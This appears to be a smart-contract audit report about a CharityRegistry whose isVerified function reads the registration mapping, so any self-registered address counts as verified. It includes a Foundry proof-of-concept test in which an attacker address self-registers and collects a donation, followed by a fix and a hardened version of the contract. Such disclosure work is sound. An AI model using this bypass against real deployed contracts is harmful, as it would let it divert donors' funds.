Summary
The CharityRegistry contract's isVerified function incorrectly returns whether a charity is registered instead of whether it's verified. This completely bypasses the admin verification process, allowing any registered charity to be treated as verified without admin approval.
Vulnerability Details
The vulnerability exists in the following function:
function isVerified(address charity) public view returns (bool) {
return registeredCharities[charity];
}
Key issues:
Returns registeredCharities[charity] instead of verifiedCharities[charity]
Anyone can self-register via registerCharity()
Bypasses the admin verification requirement entirely
This allows attackers to:
Register themselves as a charity using registerCharity()
Be treated as verified without admin approval
Potentially receive donations or other benefits meant only for verified charities
Proof of Concept:
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../../src/CharityRegistry.sol";
import "../../src/GivingThanks.sol";
contract CharityVerificationBypassTest is Test {
CharityRegistry public registry;
GivingThanks public givingThanks;
address public admin = address(this);
address public attacker = address(0x1);
address public donor = address(0x2);
function setUp() public {
registry = new CharityRegistry();
givingThanks = new GivingThanks(address(registry));
givingThanks.updateRegistry(address(registry));
vm.deal(donor, 10 ether);
vm.label(admin, "Admin");
vm.label(attacker, "Attacker");
vm.label(donor, "Donor");
vm.label(address(registry), "Registry");
}
function testVerificationBypass() public {
vm.prank(attacker);
registry.registerCharity(attacker);
assertFalse(
registry.verifiedCharities(attacker),
"Attacker should not be verified"
);
assertTrue(
registry.isVerified(attacker),
"Bug: isVerified returns true for unverified charity"
);
vm.deal(address(givingThanks), 10 ether);
vm.startPrank(donor);
givingThanks.donate{value: 1 ether}(attacker);
vm.stopPrank();
assertEq(
attacker.balance,
1 ether,
"Attacker received donation without verification"
);
}
}
Impact
Effects:
Complete bypass of the admin verification system
Any registered charity appears as verified
Undermines the entire trust model of the registry
Potential financial losses if other contracts rely on verification status
Tools Used
Foundry Test Framework
Manual code review
Recommendations
Fix the isVerified function to check the correct mapping:
function isVerified(address charity) public view returns (bool) {
return verifiedCharities[charity];
}
Additionally, consider:
Adding events for registration and verification actions
Implementing a way to revoke verification
Adding checks to prevent zero-address registrations
Adding a way to unregister charities
Example of enhanced implementation:
event CharityRegistered(address indexed charity);
event CharityVerified(address indexed charity);
event CharityVerificationRevoked(address indexed charity);
function registerCharity(address charity) public {
require(charity != address(0), "Zero address");
require(!registeredCharities[charity], "Already registered");
registeredCharities[charity] = true;
emit CharityRegistered(charity);
}
function verifyCharity(address charity) public {
require(msg.sender == admin, "Only admin can verify");
require(registeredCharities[charity], "Charity not registered");
require(!verifiedCharities[charity], "Already verified");
verifiedCharities[charity] = true;
emit CharityVerified(charity);
}
function revokeVerification(address charity) public {
require(msg.sender == admin, "Only admin can revoke");
require(verifiedCharities[charity], "Charity not verified");
verifiedCharities[charity] = false;
emit CharityVerificationRevoked(charity);
}